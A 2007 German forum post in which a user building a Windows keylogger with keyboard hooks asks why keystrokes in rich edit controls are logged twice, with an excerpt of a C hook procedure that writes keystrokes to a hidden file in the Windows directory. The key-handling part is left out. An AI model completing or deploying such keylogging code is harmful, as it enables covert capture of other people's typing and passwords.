[C/C++] Problem mit Windows Keyboard Hook

Dieses Thema im Forum "Programmierung & Entwicklung" wurde erstellt von frq, 11. September 2007 .

  1. 11. September 2007
    Problem mit Windows Keyboard Hook

    Hi,

    ich wollte endlich auch mal einen Keylogger für Windows per Hooks schreiben. Das Mitschneiden funktioniert auch soweit ganz gut, wenn ich z.B. was in notepad tippe. Nur, wenn ich etwas in eine Rich Edit Controll (oder wie auch immer das noch mal heißt...) eintippe (wie etwa hier in Firefox), dann erfasst er alle Keystrokes doppelt. Hat einer eine Idee woran das liegen könnte und wie ich es beheben kann?
    Anbei Auszüge aus meiner HookProc:

    Code:
    EXPORT LRESULT CALLBACK HookProc(int Code, WPARAM wParam, LPARAM lParam)
    {
     HANDLE hFile;
     LARGE_INTEGER li;
     int len=1;
     char buff[6],winbuff[MAX_PATH];
     DWORD bwr;
    
     if (Code >= 0 && !(lParam & (1 << 31)))
     {
     GetWindowsDirectory(winbuff,MAX_PATH);
     strcat_s(winbuff,MAX_PATH,LOG_PATH);
    
     hFile=CreateFile(winbuff,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
    
     li.QuadPart=0;
     SetFilePointerEx(hFile,li,NULL,FILE_END);
    
     if(wParam==.....)
     {
     // Die Keys auswerten und in buff schreiben
     }
     else if(......)
     {
     // und so weiter
     }
     else
     len=0;
    
     if(len>0)
     WriteFile(hFile,buff,(DWORD)(len*sizeof(char)),&bwr,NULL);
    
    
     CloseHandle(hFile);
     }
    
     return(CallNextHookEx(hhook, Code, wParam, lParam));
    }
    
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.